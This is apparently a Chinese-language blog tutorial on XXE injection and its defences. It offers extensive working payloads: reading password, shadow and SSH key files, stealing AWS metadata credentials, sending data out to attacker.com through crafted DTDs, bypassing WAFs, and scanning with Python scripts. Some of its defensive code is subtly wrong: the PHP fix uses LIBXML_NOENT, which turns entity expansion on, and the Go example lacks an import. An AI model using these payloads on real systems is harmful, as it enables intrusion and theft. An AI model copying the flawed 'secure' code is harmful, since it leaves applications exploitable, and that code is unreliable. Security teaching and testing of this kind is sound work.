XXE 外部實體注入攻擊

XML External Entity Injection Attack and Prevention

前言

XXE(XML External Entity)外部實體注入是一種針對解析 XML 輸入的應用程式的攻擊手法。當應用程式處理包含外部實體引用的 XML 輸入時,攻擊者可以利用這個漏洞讀取伺服器檔案、執行 SSRF 攻擊,甚至在某些情況下達成遠端程式碼執行。XXE 在 OWASP Top 10 2017 中被列為第四大安全風險,足見其嚴重性。

1. XXE 漏洞原理

什麼是 XML External Entity?

XML(eXtensible Markup Language)是一種標記語言,用於儲存和傳輸資料。XML 規範允許定義「實體」(Entity),這些實體可以被視為變數,用於儲存可重複使用的內容。

實體分為兩種類型:

  • 內部實體(Internal Entity):實體值直接定義在 DTD 中
  • 外部實體(External Entity):實體值從外部來源獲取(如檔案系統或網路)

DTD(Document Type Definition)

DTD 用於定義 XML 文件的結構和合法元素。DTD 可以內嵌在 XML 文件中,也可以從外部引用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>User</to>
  <from>Admin</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

漏洞成因

當 XML 解析器配置為處理外部實體,且應用程式接受使用者提供的 XML 輸入時,攻擊者可以注入惡意的外部實體定義,導致:

  1. 敏感檔案洩露
  2. 伺服器端請求偽造(SSRF)
  3. 阻斷服務攻擊(DoS)
  4. 遠端程式碼執行(在特定條件下)

2. XML 外部實體語法

基本實體宣告語法

1
2
3
<!DOCTYPE root [
  <!ENTITY entity_name "entity_value">
]>

內部實體範例

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY greeting "Hello, World!">
]>
<message>&greeting;</message>

解析後結果:

1
<message>Hello, World!</message>

外部實體語法

外部實體使用 SYSTEMPUBLIC 關鍵字引用外部資源:

1
2
3
4
5
<!-- 使用 SYSTEM 關鍵字 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- 使用 PUBLIC 關鍵字 -->
<!ENTITY xxe PUBLIC "any_id" "http://attacker.com/malicious.dtd">

參數實體(Parameter Entity)

參數實體只能在 DTD 中使用,使用 % 符號定義和引用:

1
2
3
4
<!DOCTYPE root [
  <!ENTITY % param_entity "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
  %param_entity;
]>

支援的協定

不同的 XML 解析器支援不同的 URI 協定:

協定用途範例
file://讀取本地檔案file:///etc/passwd
http://HTTP 請求http://attacker.com/xxe
https://HTTPS 請求https://attacker.com/xxe
ftp://FTP 請求ftp://attacker.com/xxe
php://PHP 包裝器(PHP 限定)php://filter/convert.base64-encode/resource=index.php
expect://執行系統命令(PHP 限定)expect://id
gopher://Gopher 協定gopher://localhost:6379/_INFO

3. 檔案讀取攻擊

基本檔案讀取

這是最常見的 XXE 攻擊形式,用於讀取伺服器上的敏感檔案。

攻擊載荷:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Windows 系統範例:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<root>
  <data>&xxe;</data>
</root>

常見目標檔案

Linux/Unix 系統:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/user/.ssh/id_rsa
/home/user/.bash_history
/var/log/apache2/access.log
/var/log/apache2/error.log

Windows 系統:

1
2
3
4
5
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\.ssh\id_rsa

應用程式配置檔案:

1
2
3
4
/var/www/html/config.php
/var/www/html/.env
/opt/tomcat/conf/tomcat-users.xml
/opt/tomcat/conf/server.xml

使用 PHP 包裝器讀取原始碼

當需要讀取包含特殊字元的檔案(如 PHP 原始碼)時,可以使用 Base64 編碼:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>
  <data>&xxe;</data>
</root>

解碼取得的 Base64 字串:

1
echo "PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPSAncm9vdCc7Cj8+" | base64 -d

目錄列舉

在某些系統上,可以使用 file:// 協定列舉目錄內容:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/">
]>
<root>
  <data>&xxe;</data>
</root>

4. SSRF 與端口掃描

基本 SSRF 攻擊

XXE 可以用於發起伺服器端請求偽造(SSRF)攻擊,訪問內部網路資源:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server.local/admin">
]>
<root>
  <data>&xxe;</data>
</root>

探測內部服務

探測 AWS 元資料服務:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <data>&xxe;</data>
</root>

取得 AWS 認證:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root>
  <data>&xxe;</data>
</root>

端口掃描

透過觀察回應時間或錯誤訊息,可以進行內部端口掃描:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<root>
  <data>&xxe;</data>
</root>

自動化端口掃描腳本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import requests
import time

target = "http://vulnerable-app.com/parse"
internal_ip = "192.168.1.1"
ports = [21, 22, 23, 25, 80, 443, 445, 3306, 5432, 6379, 8080, 8443]

for port in ports:
    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://{internal_ip}:{port}">
]>
<root>
  <data>&xxe;</data>
</root>'''

    start_time = time.time()
    try:
        response = requests.post(target, data=payload, timeout=5)
        elapsed = time.time() - start_time

        if elapsed < 1:
            print(f"[OPEN] Port {port} - Response time: {elapsed:.2f}s")
        else:
            print(f"[FILTERED] Port {port} - Response time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        print(f"[FILTERED/CLOSED] Port {port} - Timeout")
    except Exception as e:
        print(f"[ERROR] Port {port} - {str(e)}")

攻擊內部服務

攻擊 Redis(使用 Gopher 協定):

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20mykey%20%22malicious_value%22%0D%0AQUIT">
]>
<root>
  <data>&xxe;</data>
</root>

攻擊內部 API:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-api.local/admin/delete-user?id=1">
]>
<root>
  <data>&xxe;</data>
</root>

5. Blind XXE 與 OOB 技術

什麼是 Blind XXE?

當應用程式存在 XXE 漏洞,但不會在回應中顯示外部實體的內容時,稱為 Blind XXE。這種情況下需要使用 Out-of-Band(OOB)技術來提取資料。

基本 OOB 技術

攻擊者控制的 DTD 檔案(evil.dtd):

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

注入載荷:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>
  <data>test</data>
</root>

使用 FTP 協定進行資料外洩

FTP 協定可以繞過某些 HTTP 限制:

evil.dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

簡易 FTP 伺服器(Python):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 21))
server.listen(5)

print("[*] Listening on port 21...")

while True:
    conn, addr = server.accept()
    print(f"[+] Connection from {addr}")

    conn.send(b"220 FTP Server Ready\r\n")

    while True:
        data = conn.recv(1024)
        if not data:
            break
        print(f"[*] Received: {data.decode('utf-8', errors='ignore')}")

        if data.startswith(b"USER"):
            conn.send(b"331 Password required\r\n")
        elif data.startswith(b"PASS"):
            conn.send(b"230 Login successful\r\n")
        elif data.startswith(b"RETR") or data.startswith(b"CWD"):
            # 這裡會收到檔案內容
            conn.send(b"550 File not found\r\n")
        else:
            conn.send(b"200 OK\r\n")

    conn.close()

錯誤訊息資料外洩

利用 XML 解析錯誤來洩露檔案內容:

evil.dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

錯誤訊息可能會包含檔案內容:

1
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash...

使用 DNS 進行資料外洩

當 HTTP 和 FTP 都被阻擋時,可以嘗試 DNS:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://%file;.attacker.com/'>">
%eval;
%exfil;

在攻擊者的 DNS 伺服器上可以看到類似的請求:

1
Query: webserver01.attacker.com

Blind XXE 測試工具

使用 Burp Collaborator:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxxxx.burpcollaborator.net">
]>
<root>
  <data>&xxe;</data>
</root>

使用 interact.sh:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxxxx.oast.me">
]>
<root>
  <data>&xxe;</data>
</root>

6. 各語言防禦實作

PHP 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
// 方法一:禁用外部實體載入(推薦)
libxml_disable_entity_loader(true);

// 方法二:使用 DOMDocument 並禁用外部實體
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);

// 方法三:使用 SimpleXML 安全載入
$previousValue = libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xmlContent);
libxml_disable_entity_loader($previousValue);

// PHP 8.0+ 建議使用
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT);
?>

Java 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;

public class SecureXMLParser {
    public static DocumentBuilder createSecureDocumentBuilder() throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        // 禁用 DTD
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

        // 禁用外部通用實體
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

        // 禁用外部參數實體
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

        // 禁用外部 DTD
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

        // 禁用 XInclude
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);

        return factory.newDocumentBuilder();
    }
}

使用 SAXParser:

1
2
3
4
5
6
7
8
9
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;

SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

SAXParser parser = factory.newSAXParser();

Python 防禦

1
2
3
4
5
6
7
8
9
# 使用 defusedxml(推薦)
import defusedxml.ElementTree as ET

# 安全解析 XML
tree = ET.parse('data.xml')
root = tree.getroot()

# 或從字串解析
root = ET.fromstring(xml_string)

安裝 defusedxml:

1
pip install defusedxml

使用標準庫的安全配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from lxml import etree

# 創建安全的解析器
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    dtd_validation=False,
    load_dtd=False
)

# 解析 XML
tree = etree.parse('data.xml', parser)

.NET / C# 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
using System.Xml;

public class SecureXmlReader
{
    public static XmlReader CreateSecureReader(string xmlContent)
    {
        XmlReaderSettings settings = new XmlReaderSettings();

        // 禁用 DTD 處理
        settings.DtdProcessing = DtdProcessing.Prohibit;

        // 禁用外部資源解析
        settings.XmlResolver = null;

        // 限制實體擴展
        settings.MaxCharactersFromEntities = 0;

        return XmlReader.Create(new StringReader(xmlContent), settings);
    }
}

使用 XmlDocument:

1
2
3
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // 禁用外部資源解析
doc.LoadXml(xmlContent);

Node.js 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const libxmljs = require('libxmljs');

// 安全解析配置
const parseOptions = {
    noent: false,      // 不擴展實體
    nonet: true,       // 禁止網路訪問
    noblanks: true,
    nocdata: true
};

const doc = libxmljs.parseXml(xmlContent, parseOptions);

使用 fast-xml-parser:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({
    ignoreAttributes: false,
    allowBooleanAttributes: true,
    // 不處理實體引用
    processEntities: false
});

const result = parser.parse(xmlContent);

Go 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main

import (
    "encoding/xml"
    "strings"
)

func secureXMLDecode(data string) (interface{}, error) {
    // Go 的 encoding/xml 預設不處理外部實體
    // 但仍需驗證輸入

    // 檢查是否包含 DOCTYPE 宣告
    if strings.Contains(data, "<!DOCTYPE") ||
       strings.Contains(data, "<!ENTITY") {
        return nil, fmt.Errorf("DOCTYPE and ENTITY declarations are not allowed")
    }

    decoder := xml.NewDecoder(strings.NewReader(data))
    decoder.Strict = true

    var result interface{}
    err := decoder.Decode(&result)
    return result, err
}

Ruby 防禦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
require 'nokogiri'

# 安全解析配置
options = Nokogiri::XML::ParseOptions::STRICT |
          Nokogiri::XML::ParseOptions::NONET

doc = Nokogiri::XML(xml_content) do |config|
  config.strict.nonet
end

# 或使用更簡潔的語法
doc = Nokogiri::XML(xml_content, nil, nil, Nokogiri::XML::ParseOptions::NONET)

7. WAF 繞過技術

編碼繞過

使用 UTF-16 編碼:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

使用 HTML 實體編碼:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;&#x3a;&#x2f;&#x2f;&#x2f;&#x65;&#x74;&#x63;&#x2f;&#x70;&#x61;&#x73;&#x73;&#x77;&#x64;">
]>
<root>&xxe;</root>

大小寫混合

1
2
3
4
5
<?xml version="1.0"?>
<!doctype foo [
  <!ENTITY xxe SYsTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

使用參數實體繞過

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % a "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
  %a;
]>
<root>&xxe;</root>

嵌套實體

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % end "]]>">
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY xxe "%start;%file;%end;">
]>
<root>&xxe;</root>

使用外部 DTD 繞過

將惡意載荷放在外部 DTD 中,只在 XML 中引用:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd">
<root>&xxe;</root>

利用本地 DTD 檔案

利用系統上已存在的 DTD 檔案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
  <!ENTITY % expr 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;http://attacker.com/?data=&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;exfil;
    <!ELEMENT aa (bb'>
  %local_dtd;
]>
<root>test</root>

XInclude 攻擊

當無法控制 DOCTYPE 時,可以嘗試 XInclude:

1
2
3
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

SVG 檔案中的 XXE

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="0" y="20">&xxe;</text>
</svg>

Office 文件中的 XXE

DOCX、XLSX 等 Office 文件是 ZIP 壓縮的 XML 檔案,可能存在 XXE:

1
2
3
4
5
6
7
8
# 解壓 DOCX 文件
unzip document.docx -d extracted

# 修改 [Content_Types].xml 或其他 XML 檔案
# 加入 XXE 載荷

# 重新打包
cd extracted && zip -r ../malicious.docx *

8. 測試方法與工具

手動測試流程

1. 識別 XML 輸入點:

  • 檢查 Content-Type 是否為 application/xmltext/xml
  • 尋找接受 XML 格式資料的 API 端點
  • 檢查檔案上傳功能(SVG、DOCX、XLSX 等)

2. 基本測試載荷:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe "XXE_TEST_STRING">
]>
<root>&xxe;</root>

3. 驗證外部實體處理:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/xxe-test">
]>
<root>&xxe;</root>

自動化測試工具

XXEinjector:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 安裝
git clone https://github.com/enjoiz/XXEinjector.git

# 基本使用
ruby XXEinjector.rb --host=attacker.com --file=request.txt

# 使用 FTP 外洩
ruby XXEinjector.rb --host=attacker.com --file=request.txt --oob=ftp

# 指定路徑列表
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd,/etc/shadow

xxeftp(FTP XXE 伺服器):

1
2
3
4
5
6
# 安裝
git clone https://github.com/staaldraad/xxeserv.git
cd xxeserv

# 啟動 FTP 伺服器
go run xxeftp.go -p 2121 -w -wd /tmp/xxe

Burp Suite 測試

使用 Burp Suite Professional:

  1. 在 Proxy 中攔截包含 XML 的請求
  2. 發送到 Repeater
  3. 插入 XXE 載荷進行測試
  4. 使用 Burp Collaborator 檢測 Blind XXE

Burp Suite Extension - XXE Injector:

1
2
3
4
1. 安裝 XXE Injector 擴充
2. 右鍵點擊請求 -> Extensions -> XXE Injector
3. 選擇測試模式(基本、Blind、OOB 等)
4. 分析結果

OWASP ZAP 測試

1
2
3
4
5
# 使用 ZAP 命令列進行 XXE 測試
zap-cli quick-scan --spider -r http://target.com

# 使用 Active Scan 進行 XXE 檢測
zap-cli active-scan http://target.com

自製測試腳本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
"""
XXE Vulnerability Scanner
"""

import requests
import sys
from urllib.parse import urlparse

class XXEScanner:
    def __init__(self, target_url, callback_url):
        self.target = target_url
        self.callback = callback_url
        self.payloads = self._generate_payloads()

    def _generate_payloads(self):
        return [
            # 基本 XXE
            f'''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>''',

            # Blind XXE with OOB
            f'''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "{self.callback}/evil.dtd">
  %xxe;
]>
<root><data>test</data></root>''',

            # Parameter Entity
            f'''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM '{self.callback}/?d=%file;'>">
  %eval;
  %exfil;
]>
<root><data>test</data></root>''',

            # XInclude
            f'''<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>''',
        ]

    def scan(self):
        print(f"[*] Scanning {self.target} for XXE vulnerabilities...")

        for i, payload in enumerate(self.payloads):
            print(f"[*] Testing payload {i+1}/{len(self.payloads)}")

            headers = {
                'Content-Type': 'application/xml',
                'Accept': '*/*'
            }

            try:
                response = requests.post(
                    self.target,
                    data=payload,
                    headers=headers,
                    timeout=10
                )

                # 檢查回應中是否包含檔案內容
                if 'root:' in response.text or '/bin/bash' in response.text:
                    print(f"[+] XXE FOUND! Payload {i+1} returned file contents")
                    print(f"[+] Response: {response.text[:500]}...")
                    return True

                # 檢查錯誤訊息
                if 'DOCTYPE' in response.text or 'ENTITY' in response.text:
                    print(f"[!] Possible XXE - Error message contains DTD keywords")

            except requests.exceptions.Timeout:
                print(f"[-] Timeout on payload {i+1}")
            except Exception as e:
                print(f"[-] Error: {str(e)}")

        print("[*] Scan complete. Check callback server for OOB connections.")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <callback_url>")
        sys.exit(1)

    scanner = XXEScanner(sys.argv[1], sys.argv[2])
    scanner.scan()

使用 Nuclei 進行大規模掃描

1
2
3
4
5
6
7
8
# 安裝 Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# 使用 XXE 模板掃描
nuclei -u http://target.com -t vulnerabilities/xxe/

# 掃描多個目標
nuclei -l targets.txt -t vulnerabilities/xxe/ -o results.txt

檢查清單

  • 識別所有 XML 輸入點(API、檔案上傳、SOAP 服務等)
  • 測試基本 XXE 載荷
  • 測試 Blind XXE(使用 OOB 技術)
  • 嘗試讀取敏感檔案(/etc/passwd、設定檔等)
  • 測試 SSRF 可能性(內部服務、AWS 元資料)
  • 嘗試 WAF 繞過技術
  • 測試 XInclude 攻擊
  • 檢查 SVG 和 Office 檔案上傳
  • 驗證修復措施的有效性

總結

XXE 外部實體注入是一種嚴重的安全漏洞,可能導致敏感資料洩露、SSRF 攻擊,甚至遠端程式碼執行。防禦 XXE 的核心原則是:

  1. 禁用外部實體處理:在 XML 解析器中禁用 DTD 和外部實體
  2. 輸入驗證:驗證和過濾使用者提供的 XML 輸入
  3. 使用安全的解析庫:選擇預設安全的 XML 解析庫(如 Python 的 defusedxml)
  4. 最小權限原則:限制應用程式的檔案系統和網路訪問權限
  5. 定期安全測試:使用自動化工具定期掃描 XXE 漏洞

透過了解 XXE 攻擊的原理和技術,開發人員和安全研究人員可以更好地識別和防禦這類威脅,確保應用程式的安全性。

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy